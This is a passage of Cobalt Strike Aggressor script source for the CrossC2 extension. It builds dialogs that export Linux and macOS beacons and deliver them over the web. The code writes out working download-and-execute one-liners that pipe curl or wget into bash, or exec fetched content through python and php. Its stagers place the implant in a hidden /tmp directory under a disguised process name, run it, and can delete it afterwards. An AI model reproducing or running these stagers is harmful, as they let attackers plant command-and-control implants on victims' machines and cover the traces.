"/tmp/t_cc2.out"; 234 | } else { 235 | $output_file = "t_cc2.out"; 236 | } 237 | $dialog = dialog("CrossC2 Listener", %(lport => "55413", beaconKey => "./.cobaltstrike.beacon_keys", c2profile => "null",rebind_lib => "null", config_ini => "null", listener => "Listener: ", system => "System: ", arch => "Arch: ", upx => "upx: ", outputFileName => $output_file, enableSSL => false, bindPort => "4444", cs_version => "4.3"), &createCrossC2ListenerDialogCallBack); 238 | dialog_description($dialog, "
Export CrossC2 Payload
https://github.com/gloxec/CrossC2
"); 239 | drow_text($dialog, "lport", "host beacon port: ", 20); 240 | drow_file($dialog, "beaconKey", "Choose: default ./.cobaltstrike.beacon_keys"); 241 | if ($reverse_https_flag) { 242 | drow_file($dialog, "c2profile", "[+]Choose: c2profile"); 243 | drow_file($dialog, "rebind_lib", "[ ]Choose: rebind_dynamic_lib"); 244 | drow_file($dialog, "config_ini", "[ ]Choose: config_ini"); 245 | drow_combobox($dialog, "system", "System: ", @("Linux", "MacOS", "ESXI")); 246 | } else { 247 | drow_combobox($dialog, "system", "System: ", @("Linux-bind", "MacOS-bind")); 248 | } 249 | if ($reverse_https_flag) { 250 | drow_listener($dialog, "listener", "Listener: (reverse_https)"); 251 | } else { 252 | drow_text($dialog, "bindPort", "CrossC2 bind TCP Listener Port: "); 253 | } 254 | drow_combobox($dialog, "arch", "Arch: ", @("x64", "x86", "M1")); 255 | drow_combobox($dialog, "upx", "upx: ", @("upx", "raw")); 256 | drow_text($dialog, "outputFileName", "OutputFileName: "); 257 | if ($reverse_https_flag) { 258 | drow_checkbox($dialog, "enableSSL", "SSL: ", "Enable SSL"); 259 | } 260 | drow_combobox($dialog, "cs_version", "CS Version: ", @("<= 4.8", "4.4 - source version")); 261 | dbutton_action($dialog, "Build"); 262 | dialog_show($dialog); 263 | } 264 | 265 | sub projectAboutCallback { 266 | $autoupdate = "java -jar " . $CC2_PATH . "autoupdate.jar"; 267 | exec($autoupdate); 268 | } 269 | 270 | sub projectAbout { 271 | $dialog = dialog("Cross C2 About",%(link => "https://github.com/gloxec/CrossC2"), &projectAboutCallback); 272 | dialog_description($dialog, "Export CrossC2 Payload"); 273 | dbutton_action($dialog, "update"); 274 | drow_text($dialog, "link", "link: ", ""); 275 | dialog_show($dialog); 276 | } 277 | 278 | 279 | sub genDownloadPayload { 280 | # "python", "ruby", "pip", "php", "ksh" 281 | local('$type $payloadContentURL $downloadURL'); 282 | $type = $1; 283 | $payloadContentURL = $2; 284 | $enableSSL = $3; 285 | $downloadURL = ""; 286 | if ($type eq "curl") { 287 | $bypassSSL = ""; 288 | if ($enableSSL eq 'true') { 289 | $bypassSSL = "-k"; 290 | } 291 | $downloadURL = "curl -A O ".$bypassSSL." -o- -L ".$payloadContentURL." | bash -s"; 292 | } else if ($type eq "wget") { 293 | $bypassSSL = ""; 294 | if ($enableSSL eq 'true') { 295 | $bypassSSL = "--no-check-certificate"; 296 | } 297 | $downloadURL = "wget -U O ".$bypassSSL." -O - ".$payloadContentURL." | bash -s"; 298 | } else if ($type eq "python") { 299 | $downloadURL = "python -c \"import urllib2; exec urllib2.urlopen('".$payloadContentURL."').read()\""; 300 | } else if ($type eq "php") { 301 | $downloadURL = "php -r \"eval(file_get_contents('".$payloadContentURL."'));\""; 302 | } else if ($type eq "ksh") { 303 | 304 | } else if ($type eq "python2") { 305 | 306 | } else if ($type eq "python3") { 307 | 308 | } else if ($type eq "js") { 309 | 310 | } 311 | return $downloadURL; 312 | } 313 | 314 | sub genDownloadPayloadContent { 315 | local('$type $beaconUrl $payload $processName $targetSaveDir $targetSaveName $targetSavePath $type $payload'); 316 | $type = $1; 317 | $beaconUrl = $2; 318 | $payload = ""; 319 | $processName = $3; 320 | $enableSSL = $4; 321 | $autoDelete = $5; 322 | 323 | $targetSaveDir = random_string(5); 324 | $targetSaveDir = '.'.$targetSaveDir.''; 325 | $targetSaveName = $processName; 326 | $targetSavePath = "/tmp/".$targetSaveDir."/".$targetSaveName; 327 | 328 | if ($type eq "curl") { 329 | $payload = "mkdir /tmp/".$targetSaveDir.";"; 330 | $payload = $payload." rm -f ".$targetSavePath.";"; 331 | $bypassSSL = ""; 332 | if ($enableSSL eq 'true') { 333 | $bypassSSL = "-k"; 334 | } 335 | $payload = $payload." curl -A O ".$bypassSSL." -L ".$beaconUrl." -o ".$targetSavePath.";"; 336 | $payload = $payload." chmod 755 ".$targetSavePath.";"; 337 | $payload = $payload." ".$targetSavePath.";"; 338 | if ($autoDelete eq 'true') { 339 | $payload = $payload." sleep 10;"; 340 | $payload = $payload." rm -rf ".$targetSavePath; 341 | } 342 | } else if ($type eq "wget") { 343 | $payload = "mkdir /tmp/".$targetSaveDir.";"; 344 | $payload = $payload." rm -f ".$targetSavePath.";"; 345 | $bypassSSL = ""; 346 | if ($enableSSL eq 'true') { 347 | $bypassSSL = "--no-check-certificate"; 348 | } 349 | $payload = $payload." wget -U 'O' ".$bypassSSL." ".$beaconUrl." -O ".$targetSavePath.";"; 350 | $payload = $payload." chmod 755 ".$targetSavePath.";"; 351 | $payload = $payload." ".$targetSavePath.";"; 352 | if ($autoDelete eq 'true') { 353 | $payload = $payload." sleep 10;"; 354 | $payload = $payload." rm -rf ".$targetSavePath; 355 | } 356 | } else if ($type eq "python") { 357 | $payload = "import sys\nimport os\nimport time\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\n"; 358 | $payload = $payload."os.system('mkdir /tmp/".$targetSaveDir."; rm -f ".$targetSavePath."')\n"; 359 | $payload = $payload."r.urlretrieve('".$beaconUrl."', '".$targetSavePath."')\n"; 360 | $payload = $payload."os.system('chmod 755 ".$targetSavePath."')\n"; 361 | $payload = $payload."os.system('".$targetSavePath."')\n"; 362 | if ($autoDelete eq 'true') { 363 | $payload = $payload."time.sleep(10)\n"; 364 | $payload = $payload."os.system('rm -f ".$targetSavePath."')\n"; 365 | } 366 | } else if ($type eq "php") { 367 | $payload = "system('mkdir /tmp/".$targetSaveDir."; rm -f ".$targetSavePath."');"; 368 | $payload = $payload."\$c=file_get_contents('".$beaconUrl."');file_put_contents('".$targetSavePath."', \$c);"; 369 | $payload = $payload."system('chmod 755 ".$targetSavePath."');"; 370 | $payload = $payload."system('".$targetSavePath."');"; 371 | if ($autoDelete eq 'true') { 372 | $payload = $payload."sleep(10);"; 373 | $payload = $payload."system('rm -f ".$targetSavePath."');"; 374 | } 375 | } else if ($type eq "python2") { 376 | 377 | } else if ($type eq "python3") { 378 | 379 | } else if ($type eq "js") { 380 | 381 | } 382 | return $payload; 383 | } 384 | 385 | sub checkCrossC2BeaconSite { 386 | local('$beacon_site_name $beaconURLMap $matchFlag'); 387 | $beacon_site_name = $1; 388 | $matchFlag = ""; 389 | %beaconURLMap = getCrossC2Site(); 390 | foreach $key => $value (%beaconURLMap) { 391 | if ($beacon_site_name isin $value) { 392 | $matchFlag = $value[1]; 393 | } 394 | } 395 | return $matchFlag; 396 | } 397 | 398 | sub getCrossC2BeaconSiteURL { 399 | local('$listener_name $beacon_site_name $listener $listener_padding $system_arch_padding $listener_name $system $arch'); 400 | $listener_name = $1; 401 | $beacon_site_name = ""; 402 | $listener = $null; 403 | if ("CrossC2 reverse HTTPS" isin $listener_name) { 404 | $beacon_site_name = "CrossC2 beacon: reverse-https"; 405 | ($_, $listener_padding, $system_arch_padding) = split('\{ ', $listener_name); 406 | ($listener, $_) = split(' \}', $listener_padding); 407 | ($system, $arch, $_) = split(' ', $system_arch_padding); 408 | } else { 409 | $beacon_site_name = "CrossC2 beacon: bind-tcp"; 410 | ($_, $_, $_, $_, $system, $arch) = split(' ', $listener_name); 411 | } 412 | $beacon_site_name = $beacon_site_name.' '.$system.' '.$arch; 413 | if ($listener) { 414 | $beacon_site_name = $beacon_site_name.' { '.$listener.' }' 415 | } 416 | return $beacon_site_name; 417 | } 418 | 419 | sub createCrossC2BeaconSite { 420 | local('$listener $beacon_site_name $lhost $lport $enableSSL $beaconData $targetSaveName $beaconUrl'); 421 | $listener = $1; 422 | $beacon_site_name = $2; 423 | $lhost = $3; 424 | $lport = $4; 425 | $enableSSL = $5; 426 | $beaconData = listener_info($listener)['CrossC2Beacon']; 427 | $targetSaveName = random_string(10); 428 | if ($enableSSL eq 'true') { 429 | $beaconUrl = site_host($lhost, $lport, "/".$targetSaveName, $beaconData, "automatic", $beacon_site_name.'[https]', true); 430 | } else { 431 | $beaconUrl = site_host($lhost, $lport, "/".$targetSaveName, $beaconData, "automatic", $beacon_site_name.'[http]', false); 432 | } 433 | return $beaconUrl; 434 | } 435 | 436 | sub genCrossC2ScriptDialogCallback { 437 | local('$uri $lhost $lport $type $enableSSL $processName $listener $needCheckBeaconSiteName $payloadContent $payloadContentURL $scriptUrl'); 438 | $uri = $3['uri']; 439 | $lhost = $3['lhost']; 440 | $lport = $3['lport']; 441 | $type = $3['type']; 442 | $enableSSL = false; 443 | $enableSSL = $3['enableSSL']; 444 | $autoDelete = $3['autoDelete']; 445 | $processName = $3['processname']; 446 | $listener = $3['listener']; 447 | $needCheckBeaconSiteName = getCrossC2BeaconSiteURL($listener); 448 | $beaconUrl = checkCrossC2BeaconSite($needCheckBeaconSiteName); 449 | if ($beaconUrl eq "") { 450 | $beaconUrl = createCrossC2BeaconSite($listener, $needCheckBeaconSiteName, $lhost, $lport, $enableSSL); 451 | } 452 | $listenerinfo = @($needCheckBeaconSiteName, $beaconUrl); 453 | 454 | # gen payloadContent 455 | $payloadContent = genDownloadPayloadContent($type, $beaconUrl, $processName, $enableSSL, $autoDelete); 456 | # host payloadContent 457 | if ($enableSSL eq 'true') { 458 | $payloadContentURL = site_host($lhost, $lport, $uri, $payloadContent, "automatic", "Script (".$type."-https) {".$listenerinfo[0]."}", true); 459 | } else { 460 | $payloadContentURL = site_host($lhost, $lport, $uri, $payloadContent, "automatic", "Script (".$type."-http) {".$listenerinfo[0]."}", false); 461 | } 462 | 463 | # gen payload 464 | $scriptUrl = genDownloadPayload($type, $payloadContentURL, $enableSSL); 465 | # add_to_clipboard($scriptUrl); 466 | prompt_text("Copy/Paste One-liner: ", $scriptUrl, {}); 467 | elog(""); 468 | elog("CrossC2 $type script: " . $scriptUrl); 469 | } 470 | 471 | sub getCrossC2Site { 472 | local('%beacon_site $beacon_count $Description, $Proto, $Host, $Port, $URI'); 473 | %beacon_site = %(); 474 | $beacon_count = 0; 475 | foreach $site_list(sites()) { 476 | ($Description, $Proto, $Host, $Port, $URI) = values($site_list, @('Description', 'Proto', 'Host', 'Port', 'URI')); 477 | if ("CrossC2" isin $Description) { 478 | $beaconURL = $Proto.$Host.':'.$Port.$URI; 479 | # 返回beacon_uri & beacon_description 480 | %beacon_site[$beacon_count] = @($Description, $beaconURL); 481 | $beacon_count += 1; 482 | } 483 | } 484 | return %beacon_site; 485 | } 486 | 487 | sub getCrossC2Listener { 488 | local('%beacon_listener $beacon_count'); 489 | %beacon_listener = %(); 490 | $beacon_count = 0; 491 | foreach $listener(listeners_local()) { 492 | if ("CrossC2" isin $listener) { 493 | %beacon_listener[$beacon_count] = @($listener); 494 | $beacon_count += 1; 495 | } 496 | } 497 | return %beacon_listener; 498 | } 499 | 500 | sub createCrossC2Script { 501 | local('@beaconSiteMenu @beaconListenerMenu %beaconListenerMap'); 502 | @beaconSiteMenu = @(); 503 | @beaconListenerMenu = @(); 504 | 505 | %beaconListenerMap = getCrossC2Listener(); 506 | foreach $key => $value (%beaconListenerMap) { 507 | add(@beaconListenerMenu, $value[0]); 508 | } 509 | 510 | $dialog = dialog("CrossC2 Web Delivery", %(uri => "/a", processname => "update", lhost => localip(), lport => "55413", type => "curl", listener => "", enableSSL => false, autoDelete => false), &genCrossC2ScriptDialogCallback); 511 | dialog_description($dialog, "
Export CrossC2 Payload
https://github.com/gloxec/CrossC2
"); 512 | drow_text($dialog, "uri", "URI Path: ", 20); 513 | drow_text($dialog, "processname", "ProcessName: ", 20); 514 | drow_text($dialog, "lhost", "Local Host:", 20); 515 | drow_text($dialog, "lport", "Web Delivery Port: ", 20); 516 | drow_combobox($dialog, "type", "Type: ", @("curl", "wget", "python", "php")); 517 | drow_combobox($dialog, "listener", "CrossC2 Listener: ", @beaconListenerMenu); 518 | drow_checkbox($dialog, "enableSSL", "SSL: ", "Enable SSL"); 519 | drow_checkbox($dialog, "autoDelete", "autoDelete: ", "auto delete"); 520 | dbutton_action($dialog, "Build"); 521 | dialog_show($dialog); 522 | } 523 | --------------------------------------------------------------------------------